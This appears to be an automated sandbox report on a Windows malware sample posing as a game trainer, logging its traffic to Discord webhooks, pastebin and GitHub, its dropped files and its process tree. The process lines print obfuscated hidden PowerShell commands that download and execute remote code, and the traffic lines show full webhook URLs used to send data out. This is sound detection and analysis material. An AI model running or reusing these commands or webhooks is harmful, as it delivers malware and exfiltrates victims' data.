Source: global traffic	HTTP traffic detected: POST /api/webhooks/1284710807871033355/x0K3Voa94DlgTs4VQWHyks9bUB8i5Uipo6HRW6lKUeKFJpTODgkBqgFx7seLHmsLq996 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 214Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_efW5EguYXiAyCvsMrX7i2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 299Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_efW5EguYXiAyCvsMrX7i2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 299Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/Backend.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/FH5.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: discord.com
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1284710807871033355/x0K3Voa94DlgTs4VQWHyks9bUB8i5Uipo6HRW6lKUeKFJpTODgkBqgFx7seLHmsLq996 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 214Connection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Oct 2024 14:00:23 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1729000824x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yZwHVV3oyM08cJv8SLb5u5nA1EtS3vbqCCwyFfcgFUn2fz1GDF60NiE7DhBB%2BMjh2NBXMnQXHguIiht1a7WCvdTIX59D%2FUNewqEHY9Ctb%2Bjqussj2z9OmtQyYb%2B4"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=2c6b90bcc111f27f2ee13f9d01d696a78cc3cbd8-1729000823; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=kdwA._iH252scPNEf4uY2uYh8cCZejVEgGbwGQZlEuQ-1729000823460-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8d3055c9ed552c98-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Oct 2024 14:00:40 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1729000841x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V5apL0iNoHSriEsYfXs6DkvhAJ6VrV7f%2FFS3lB7uozRivpAB5EybX%2Bzffc49OcE37h6HX3KPu84iVNqf2on7sd3gO98II29SxT8gKjC7HM%2FitB4568wkjtIXWsEj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=2ea9685ce586c51b0bca2e633e8796cf617bbecc-1729000840; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=pfSABZuGpKd97j4bwvkwvMGT1XMDmt46TNQbVDaLbnI-1729000840266-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8d30563308774793-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Oct 2024 14:00:47 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1729000848x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yS%2F3xDx9elF6UPdyjvAxMpz8NOukibj3jNZnbq09xDjG%2FHavC6Pl6RpdvOniPUHPxYFWpFah9vTMLy4MUNszcFDGFp%2B%2FUmatePlZJMMcq8vZw8B4Du9ehCZCqoi7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=c453b1697f233c556eb34ab0a1e46ced33d81e9a-1729000847; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=AxGKe2q8ncRCpRbVwbVwvBf2CntulAILogF5xavJrSY-1729000847285-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8d30565ebc463ab9-DFW

Source: svchost.exe, 00000007.00000002.3431175834.000001F169ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 0000000D.00000002.2693402019.000002059FC1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.000001276301F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://discord.com
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.7.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 0000000D.00000002.2693402019.000002059F1D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2693402019.000002059EC7E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2693402019.000002059F1EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.00000127625CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.00000127625E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: powershell.exe, 00000012.00000002.2764790986.0000012762078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com/raw/sA04Mwk2
Source: powershell.exe, 0000000D.00000002.2693402019.000002059F26B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2693402019.000002059F29A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762665000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: powershell.exe, 00000012.00000002.2764790986.0000012762665000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
Source: powershell.exe, 0000000D.00000002.2693402019.000002059E771000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012761BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000D.00000002.2693402019.000002059E7D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2693402019.000002059E794000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012761BB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012761BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000D.00000002.2693402019.000002059FC1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.000001276301F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: powershell.exe, 0000000D.00000002.2693402019.000002059FC1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.000001276301F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/128545359042878
Source: powershell.exe, 0000000D.00000002.2693402019.000002059F2FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762742000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1285453590428782614/2ICVsBAPEUQ
Source: powershell.exe, 00000012.00000002.2764790986.0000012762742000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762702000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_
Source: powershell.exe, 00000012.00000002.2764790986.000001276301F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.comP.
Source: edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000007.00000003.2331876949.000001F16F200000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 0000000D.00000002.2693402019.000002059EC7E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: qmgr.db.7.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: powershell.exe, 0000000D.00000002.2693402019.000002059F1DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.00000127625D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: powershell.exe, 0000000D.00000002.2693402019.000002059F1D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2693402019.000002059F1DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.00000127625CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.00000127625D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/sA04Mwk2
Source: powershell.exe, 0000000D.00000002.2693402019.000002059F29A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.0000012762694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 0000000D.00000002.2693402019.000002059F1EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2693402019.000002059F213000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.00000127625E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764790986.000001276260E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921

Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.5:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49990 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_3136.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_7296.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3136, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7296, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Backend.dll			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe			Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Code function: 0_2_00007FF7EA0211C0	0_2_00007FF7EA0211C0
Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Code function: 0_2_00007FF7EA02F378	0_2_00007FF7EA02F378
Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Code function: 0_2_00007FF7EA028C54	0_2_00007FF7EA028C54
Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Code function: 0_2_00007FF7EA027628	0_2_00007FF7EA027628
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Code function: 6_2_00007FF8B8F72720	6_2_00007FF8B8F72720
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Code function: 6_2_00007FF848A51A48	6_2_00007FF848A51A48
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF848A5B996	13_2_00007FF848A5B996
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF848A5C75B	13_2_00007FF848A5C75B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF848A5D1B1	13_2_00007FF848A5D1B1

Source: Stand_Trainer_Updated.exe.2.dr

Static PE information: No import functions for PE file found

Source: amsi64_3136.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_7296.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3136, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7296, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@25/25@3/4

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

Code function: 6_2_00007FF8B8F72010 CreateToolhelp32Snapshot,Process32First,strcmp,Process32Next,

6_2_00007FF8B8F72010

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7436:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nsc3nxof.kov.ps1

Jump to behavior

Source: xK44OOt7vD.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\xK44OOt7vD.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: xK44OOt7vD.exe

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\xK44OOt7vD.exe "C:\Users\user\Desktop\xK44OOt7vD.exe"
Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8530.tmp" "c:\Users\user\AppData\Local\Temp\rlfwipso\CSC770B74A1B374466B59916F033873949.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe "C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"
Source: unknown	Process created: C:\Windows\System32\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
